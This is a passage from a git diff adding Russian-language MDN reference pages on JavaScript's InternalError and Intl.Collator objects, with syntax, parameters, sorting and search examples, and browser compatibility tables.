+ <dd>Необязательный параметр. Имя файла, содержащего код, вызвавший исключение.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Необязательный параметр. Номер строки кода, вызвавшей исключение.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Исключение <code>InternalError</code> выбрасывается при возникновении внутренней ошибки в движке JavaScript.</p>
+<p>Как правило, эти ошибки связаны с тем, что что-то стало слишком большим, либо чего-то стало слишком много, например:</p>
+<ul>
+ <li>"too many switch cases" — слишком много веток <code>case</code> в операторе <code>switch</code>;</li>
+ <li>"too many parentheses in regular expression" — слишком много круглых скобок в регулярном выражении;</li>
+ <li>"array initializer too large" — инициализатор массива слишком большой;</li>
+ <li>"too much recursion" — слишком глубокая рекурсия.</li>
+</ul>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt>{{jsxref("InternalError.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства в объект <code>InternalError</code>.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Глобальный объект <code>InternalError</code> не содержит собственных методов, однако, он наследует некоторые методы из цепочки прототипов.</p>
+
+<h2 id="InternalError_instances" name="InternalError_instances">Экземпляры объекта <code>InternalError</code></h2>
+
+<h3 id="Properties_of_InternalError_instances" name="Properties_of_InternalError_instances">Свойства</h3>
+<div>{{page('/ru/Web/JavaScript/Reference/Global_Objects/InternalError/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_InternalError_instances" name="Methods_of_InternalError_instances">Методы</h3>
+<div>{{page('/ru/Web/JavaScript/Reference/Global_Objects/InternalError/prototype', 'Methods')}}</div>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("InternalError.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/internalerror/prototype/index.html b/files/ru/web/javascript/reference/global_objects/internalerror/prototype/index.html
new file mode 100644
index 0000000000..31c8829a90
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/internalerror/prototype/index.html
@@ -0,0 +1,99 @@
+---
+title: InternalError.prototype
+slug: Web/JavaScript/Reference/Global_Objects/InternalError/prototype
+tags:
+  - Error
+  - InternalError
+  - JavaScript
+  - Non-standard
+  - Property
+translation_of: Web/JavaScript/Reference/Global_Objects/InternalError
+---
+<div>{{JSRef("Global_Objects", "Error", "EvalError,InternalError,RangeError,ReferenceError,SyntaxError,TypeError,URIError")}} {{non-standard_header}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <code><strong>InternalError.prototype</strong></code> представляет прототип конструктора объекта {{jsxref("InternalError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Все экземпляры {{jsxref("InternalError")}} наследуются от объекта <code>InternalError.prototype</code>. Вы можете использовать прототип для добавления свойств или методов ко всем экземплярам.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>InternalError.prototype.constructor</code></dt>
+ <dd>Определяет функцию, создающую прототип экземпляра.</dd>
+ <dt>{{jsxref("Error.prototype.message", "InternalError.prototype.message")}}</dt>
+ <dd>Сообщение ошибки. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "InternalError.prototype.name")}}</dt>
+ <dd>Название ошибки. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "InternalError.prototype.fileName")}}</dt>
+ <dd>Путь к файлу, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "InternalError.prototype.lineNumber")}}</dt>
+ <dd>Номер строки в файле, в котором возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "InternalError.prototype.columnNumber")}}</dt>
+ <dd>Номер колонки в строке, на которой возникла эта ошибка. Унаследовано от {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "InternalError.prototype.stack")}}</dt>
+ <dd>Стек вызовов. Унаследовано от {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<p>Хотя объект прототипа {{jsxref("InternalError")}} не содержит собственных методов, экземпляры {{jsxref("InternalError")}} наследуют некоторые методы из цепочки прототипов.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<p>Не является частью какой-либо спецификации.</p>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatVersionUnknown}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/collator/compare/index.html b/files/ru/web/javascript/reference/global_objects/intl/collator/compare/index.html
new file mode 100644
index 0000000000..bcb34c805e
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/collator/compare/index.html
@@ -0,0 +1,125 @@
+---
+title: Intl.Collator.prototype.compare
+slug: Web/JavaScript/Reference/Global_Objects/Intl/Collator/compare
+tags:
+  - Collator
+  - Internationalization
+  - JavaScript
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/compare
+---
+<div>{{JSRef("Global_Objects", "Collator", "Intl,DateTimeFormat,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Intl.Collator.prototype.compare</code></strong> возвращает функцию-геттер, сравнивающую две строки согласно порядку сортировки соответствующего объекта {{jsxref("Global_Objects/Collator", "Collator")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>collator</var>.compare(<var>string1</var>, <var>string2</var>)</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>string1</code></dt>
+ <dt><code>string2</code></dt>
+ <dd>Сравниваемые друг с другом строки.</dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Функция, возвращённая гетером <code>compare</code>, возвращает число, указывающее, как строки <code>string1</code> и <code>string2</code> сравниваются друг с другом в соответствии с порядком сортировки объекта {{jsxref("Global_Objects/Collator", "Collator")}}: отрицательное значение, если строка <code>string1</code> предшествует строке <code>string2</code>; положительное значение, если строка <code>string1</code> следует за строкой <code>string2</code>; 0, если строки считаются равными.</p>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_compare_for_sort_array" name="Example:_Using_compare_for_sort_array">Пример: использование функции <code>compare</code> для сортировки массива</h3>
+<p>Использование функции, возвращённой геттером <code>compare</code>, для сортировки массивов. Обратите внимание, что функция привязана к объекту {{jsxref("Global_Objects/Collator", "Collator")}}, из которого она была получена, так что её можно передавать в {{jsxref("Array.prototype.sort()")}} напрямую.</p>
+<pre class="brush: js">var a = ['Offenbach', 'Österreich', 'Odenwald'];
+var collator = new Intl.Collator('de-u-co-phonebk');
+a.sort(collator.compare);
+console.log(a.join(', '));
+// → "Odenwald, Österreich, Offenbach"
+</pre>
+
+<h3 id="Example_Using_compare_for_search_in_array" name="Example:_Using_compare_for_search_in_array">Пример: использование функции <code>compare</code> для поиска в массиве</h3>
+<p>Использование функции, возвращённой геттером <code>compare</code>, для поиска совпадающих строк в массиве:</p>
+<pre class="brush: js">var a = ['Congrès', 'congres', 'Assemblée', 'poisson'];
+var collator = new Intl.Collator('fr', { usage: 'search', sensitivity: 'base' });
+var s = 'congres';
+var matches = a.filter(function(v) {
+  return collator.compare(v, s) === 0;
+});
+console.log(matches.join(', '));
+// → "Congrès, congres"
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.3.2', 'Intl.Collator.prototype.compare')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Mobile</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+ <li>{{jsxref("String.prototype.localeCompare()")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/collator/index.html b/files/ru/web/javascript/reference/global_objects/intl/collator/index.html
new file mode 100644
index 0000000000..cf3a3d3e52
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/collator/index.html
@@ -0,0 +1,187 @@
+---
+title: Intl.Collator
+slug: Web/JavaScript/Reference/Global_Objects/Intl/Collator
+tags:
+  - Collator
+  - Internationalization
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator
+---
+<div>{{JSRef("Global_Objects", "Collator", "Intl,DateTimeFormat,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Объект <strong><code>Intl.Collator</code></strong> является конструктором <dfn>сортировщиков</dfn> — объектов, включающих языко-зависимое сравнение строк.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code>new Intl.Collator([<var>locales</var>[, <var>options</var>]])
+Intl.Collator.call(<var>this</var>[, <var>locales</var>[, <var>options</var>]])</code></pre>
+
+<h3 id="Parameters" name="Parameters">Параметры</h3>
+<dl>
+ <dt><code>locales</code></dt>
+ <dd>
+  <p>Необязательный параметр. Строка с языковой меткой BCP 47, либо массив таких строк. Описание общей формы и интерпретации аргумента <code>locales</code> смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_identification_and_negotiation", 1)}}. Разрешены следующие ключи расширения Unicode:</p>
+  <dl>
+   <dt><code>co</code></dt>
+   <dd>Варианты сортировки для конкретных локалей. Возможные значения включают в себя: <code>"big5han"</code>, <code>"dict"</code>, <code>"direct"</code>, <code>"ducet"</code>, <code>"gb2312"</code>, <code>"phonebk"</code>, <code>"phonetic"</code>, <code>"pinyin"</code>, <code>"reformed"</code>, <code>"searchjl"</code>, <code>"stroke"</code>, <code>"trad"</code> и <code>"unihan"</code>. Значения <code>"standard"</code> и <code>"search"</code> игнорируются; они заменяются свойством <code>usage</code> аргумента <code>options</code> (смотрите ниже).</dd>
+   <dt><code>kn</code></dt>
+   <dd>Определяет, должно ли использоваться числовое сравнение, то есть, чтобы выполнялось условие "1" &lt; "2" &lt; "10". Возможными значениями являются <code>"true"</code> и <code>"false"</code>. Эта опция может быть установлена через свойство аргумента <code>options</code>, либо через ключ расширения Unicode; если предоставлены оба значения, свойство аргумента <code>options</code> имеет приоритет.</dd>
+   <dt><code>kf</code></dt>
+   <dd>Определяет, буквы какого регистра должны идти первыми — верхнего или нижнего. Возможными значениями являются <code>"upper"</code>, <code>"lower"</code> и <code>"false"</code> (используется значение по умолчанию из локали). Эта опция может быть установлена через свойство аргумента <code>options</code>, либо через ключ расширения Unicode; если предоставлены оба значения, свойство аргумента <code>options</code> имеет приоритет.</dd>
+  </dl>
+ </dd>
+ <dt><code>options</code></dt>
+ <dd>
+  <p>Необязательный параметр. Объект с некоторыми или всеми из следующих свойств:</p>
+  <dl>
+   <dt><code>localeMatcher</code></dt>
+   <dd>Используемый алгоритм сопоставления локалей. Возможными значениями являются <code>"lookup"</code> и <code>"best fit"</code>; значением по умолчанию является <code>"best fit"</code>. Информацию по этой опции смотрите на {{jsxref("Global_Objects/Intl", "странице, посвящённой объекту Intl", "#Locale_negotiation", 1)}}.</dd>
+   <dt><code>usage</code></dt>
+   <dd>Определяет, используется ли сравнение для сортировки или для поиска совпадающих строк. Возможными значениями являются <code>"sort"</code> и <code>"search"</code>; значением по умолчанию является <code>"sort"</code>.</dd>
+   <dt><code>sensitivity</code></dt>
+   <dd>
+    <p>Определяет, какие различия в строках должны приводить к ненулевому результату. Возможными значениями являются:</p>
+    <ul>
+     <li><code>"base"</code>: считаются различными только строки, отличающиеся базовыми буквами. Примеры: <code>a ≠ b</code>, <code>a = á</code>, <code>a = A</code>.</li>
+     <li><code>"accent"</code>: считаются различными только строки, отличающиеся базовыми буквами или акцентами и другими диакритическими знаками. Примеры: <code>a ≠ b</code>, <code>a ≠ á</code>, <code>a = A</code>.</li>
+     <li><code>"case"</code>: считаются различными только строки, отличающиеся базовыми буквами или регистром букв. Примеры: <code>a ≠ b</code>, <code>a = á</code>, <code>a ≠ A</code>.</li>
+     <li><code>"variant"</code>: считаются различными строки, отличающиеся базовыми буквами, акцентами и другими диакритическими знаками или регистром букв. Также во внимание могут приниматься и другие различия. Примеры: <code>a ≠ b</code>, <code>a ≠ á</code>, <code>a ≠ A</code>.</li>
+    </ul>
+    <p>Значением по умолчанию является <code>"variant"</code> при использовании свойства <code>usage</code>, равного <code>"sort"</code>, и зависит от локали при использовании свойства <code>usage</code>, равного <code>"search"</code>.</p>
+   </dd>
+   <dt><code>ignore­Punctua­tion</code></dt>
+   <dd>Определяет, должна ли игнорироваться пунктуация. Возможными значениями являются <code>true</code> и <code>false</code>; значением по умолчанию является <code>false</code>.</dd>
+   <dt><code>numeric</code></dt>
+   <dd>Определяет, должно ли использоваться числовое сравнение, то есть, чтобы выполнялось условие "1" &lt; "2" &lt; "10". Возможными значениями являются <code>true</code> и <code>false</code>; значением по умолчанию является <code>false</code>. Эта опция может быть установлена через свойство аргумента <code>options</code>, либо через ключ расширения Unicode; если предоставлены оба значения, свойство аргумента <code>options</code> имеет приоритет. Реализации не обязаны поддерживать это свойство.</dd>
+   <dt><code>caseFirst</code></dt>
+   <dd>Определяет, буквы какого регистра должны идти первыми — верхнего или нижнего. Возможными значениями являются <code>"upper"</code>, <code>"lower"</code> и <code>"false"</code> (используется значение по умолчанию из локали); значением по умолчанию является <code>"false"</code>. Эта опция может быть установлена через свойство аргумента <code>options</code>, либо через ключ расширения Unicode; если предоставлены оба значения, свойство аргумента <code>options</code> имеет приоритет. Реализации не обязаны поддерживать это свойство.</dd>
+  </dl>
+ </dd>
+</dl>
+
+<h2 id="Description" name="Description">Описание</h2>
+
+<h3 id="Properties" name="Properties">Свойства</h3>
+<dl>
+ <dt>{{jsxref("Collator.prototype", "Intl.Collator.prototype")}}</dt>
+ <dd>Позволяет добавлять свойства ко всем объектам.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<dl>
+ <dt>{{jsxref("Collator.supportedLocalesOf", "Intl.Collator.supportedLocalesOf()")}}</dt>
+ <dd>Возвращает массив, содержащий те из предоставленных локалей, которые поддерживаются без отката к локали по умолчанию среды выполнения.</dd>
+</dl>
+
+<h2 id="Collator_instances" name="Collator_instances">Экземпляры объекта <code>Collator</code></h2>
+
+<h3 id="Properties_of_Collator_instance" name="Properties_of_Collator_instance">Свойства</h3>
+<p>Экземпляры <code>Collator</code> наследуют следующие свойства из своего прототипа:</p>
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Collator/prototype', 'Properties')}}</div>
+
+<h3 id="Methods_of_Collator_instance" name="Methods_of_Collator_instance">Методы</h3>
+<p>Экземпляры <code>Collator</code> наследуют следующие методы из своего прототипа:</p>
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Collator/prototype', 'Methods')}}</div>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Example_Using_Collator" name="Example:_Using_Collator">Пример: использование <code>Collator</code></h3>
+<p>Следующий пример демонстрирует различные потенциальные результаты для строки, находящейся до, после или на том же самом уровне, что и другая строка:</p>
+<pre class="brush: js">console.log(new Intl.Collator().compare('a', 'c')); // → отрицательное значение
+console.log(new Intl.Collator().compare('c', 'a')); // → положительное значение
+console.log(new Intl.Collator().compare('a', 'a')); // → 0
+</pre>
+<p>Обратите внимание, что результат, показанный в коде выше, может сильно различаться в зависимости от браузера и его версии. Происходит это потому, что возвращаемые значения зависят от реализации. То есть, спецификация требует только чтобы при следовании строки до значение было отрицательным, а после — положительным.</p>
+
+<h3 id="Example_Using_locales" name="Example:_Using_locales">Пример: использование аргумента <code>locales</code></h3>
+<p>Результаты, предоставляемые функцией {{jsxref("Collator.prototype.compare()")}} сильно различаются в зависимости от языка. Для получения порядка сортировки языка, используемого в пользовательском интерфейсе вашего приложения, убедитесь, что вы указали этот язык (и, возможно, несколько запасных языков) через аргумент <code>locales</code>:</p>
+<pre class="brush: js">// В немецком буква ä идёт рядом с буквой a
+console.log(new Intl.Collator('de').compare('ä', 'z'));
+// → отрицательное значение
+
+// В шведском буква ä следует после буквы z
+console.log(new Intl.Collator('sv').compare('ä', 'z'));
+// → положительное значение
+</pre>
+
+<h3 id="Example_Using_options" name="Example:_Using_options">Пример: использование аргумента <code>options</code></h3>
+<p>Результат, предоставляемый функцией {{jsxref("Collator.prototype.compare()")}}, может быть настроен с помощью аргумента <code>options</code>:</p>
+<pre class="brush: js">// В немецком буква a является базовой для буквы ä
+console.log(new Intl.Collator('de', { sensitivity: 'base' }).compare('ä', 'a'));
+// → 0
+
+// В шведском буквы ä и a являются двумя разными базовыми буквами
+console.log(new Intl.Collator('sv', { sensitivity: 'base' }).compare('ä', 'a'));
+// → положительное значение
+</pre>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.1', 'Intl.Collator')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<div>{{page('/ru/docs/Web/JavaScript/Reference/Global_Objects/Intl', 'See_also')}}</div>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/collator/prototype/index.html b/files/ru/web/javascript/reference/global_objects/intl/collator/prototype/index.html
new file mode 100644
index 0000000000..1a9983f373
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/collator/prototype/index.html
@@ -0,0 +1,108 @@
+---
+title: Intl.Collator.prototype
+slug: Web/JavaScript/Reference/Global_Objects/Intl/Collator/prototype
+tags:
+  - Collator
+  - Internationalization
+  - JavaScript
+  - Property
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator
+---
+<div>{{JSRef("Global_Objects", "Collator", "Intl,DateTimeFormat,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Свойство <strong><code>Intl.Collator.prototype</code></strong> представляет объект прототипа конструктора {{jsxref("Global_Objects/Collator", "Intl.Collator")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Смотрите {{jsxref("Global_Objects/Collator", "Collator")}} для описания экземпляров <code>Intl.NumberFormat</code>.</p>
+<p>Экземпляры {{jsxref("Global_Objects/Collator", "Intl.Collator")}} наследуются от <code>Intl.NumberFormat.prototype</code>. Изменения объекта прототипа наследуются всеми экземплярами {{jsxref("Global_Objects/Collator", "Intl.Collator")}}.</p>
+
+<h2 id="Properties" name="Properties">Свойства</h2>
+<dl>
+ <dt><code>Intl.Collator.prototype.constructor</code></dt>
+ <dd>Ссылка на {{jsxref("Global_Objects/Collator", "Intl.Collator")}}.</dd>
+ <dt>{{jsxref("Collator.compare", "Intl.Collator.prototype.compare")}}</dt>
+ <dd>Геттер; возвращает функцию, сравнивающую две строки согласно порядку сортировки этого объекта {{jsxref("Global_Objects/Collator", "Collator")}}.</dd>
+</dl>
+
+<h2 id="Methods" name="Methods">Методы</h2>
+<dl>
+ <dt>{{jsxref("Collator.resolvedOptions", "Intl.Collator.prototype.resolvedOptions()")}}</dt>
+ <dd>Возвращает новый объект со свойствами, отражающими локаль и опции сравнения строк, вычисленные при инициализации объекта.</dd>
+</dl>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES Int 1.0', '#sec-10.2.1', 'Intl.Collator.prototype')}}</td>
+   <td>{{Spec2('ES Int 1.0')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+<div>{{CompatibilityTable}}</div>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatChrome("24")}}</td>
+    <td>{{CompatGeckoDesktop("29")}}</td>
+    <td>{{CompatIE("11")}}</td>
+    <td>{{CompatOpera("15")}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>Возможность</th>
+    <th>Android</th>
+    <th>Chrome для Android</th>
+    <th>Firefox Mobile (Gecko)</th>
+    <th>IE Phone</th>
+    <th>Opera Mobile</th>
+    <th>Safari Mobile</th>
+   </tr>
+   <tr>
+    <td>Базовая поддержка</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatChrome("26")}}</td>
+    <td>
+     {{CompatNo}}<br>
+     {{bug("864843")}}
+    </td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+    <td>{{CompatNo}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+<ul>
+ <li>{{jsxref("Global_Objects/Collator", "Intl.Collator")}}</li>
+</ul>
diff --git a/files/ru/web/javascript/reference/global_objects/intl/collator/resolvedoptions/index.html b/files/ru/web/javascript/reference/global_objects/intl/collator/resolvedoptions/index.html
new file mode 100644
index 0000000000..001b0a86ed
--- /dev/null
+++ b/files/ru/web/javascript/reference/global_objects/intl/collator/resolvedoptions/index.html
@@ -0,0 +1,108 @@
+---
+title: Intl.Collator.prototype.resolvedOptions()
+slug: Web/JavaScript/Reference/Global_Objects/Intl/Collator/resolvedOptions
+tags:
+  - Collator
+  - Internationalization
+  - JavaScript
+  - Method
+  - NeedsExample
+  - Prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/Intl/Collator/resolvedOptions
+---
+<div>{{JSRef("Global_Objects", "Collator", "Intl,DateTimeFormat,NumberFormat")}}</div>
+
+<h2 id="Summary" name="Summary">Сводка</h2>
+<p>Метод <strong><code>Intl.Collator.prototype.resolvedOptions()</code></strong> возвращает новый объект со свойствами, отражающими локаль и параметры сравнения строк, вычисленные во время инициализации соответствующего объекта {{jsxref("Global_Objects/Collator", "Collator")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+<pre class="syntaxbox"><code><var>collator</var>.resolvedOptions()</code></pre>
+
+<h2 id="Description" name="Description">Описание</h2>
+<p>Возвращает новый объект со свойствами, отражающими локаль и параметры сравнения строк, вычисленные во время инициализации соответствующего объекта {{jsxref("Global_Objects/Collator", "Collator")}}. Объект содержит следующие свойства:</p>
+<dl>
+ <dt><code>locale</code></dt>
+ <dd>Языковая метка BCP 47 реально используемой локали. Если во входной языковой метке BCP 47 запрошены какие-либо расширения Unicode, приведшие к этой локали, запрошенные и поддерживаемые для этой локали пары ключ-значение также будут включены в свойство <code>locale</code>.</dd>
+ <dt><code>usage</code></dt>
+ <dt><code>sensitivity</code></dt>
+ <dt><code>ignorePunctuation</code></dt>
+ <dd>Значения, предоставленные для этих свойств в аргументе <code>options</code>, либо значения по умолчанию.</dd>
+ <dt><code>collation</code></dt>
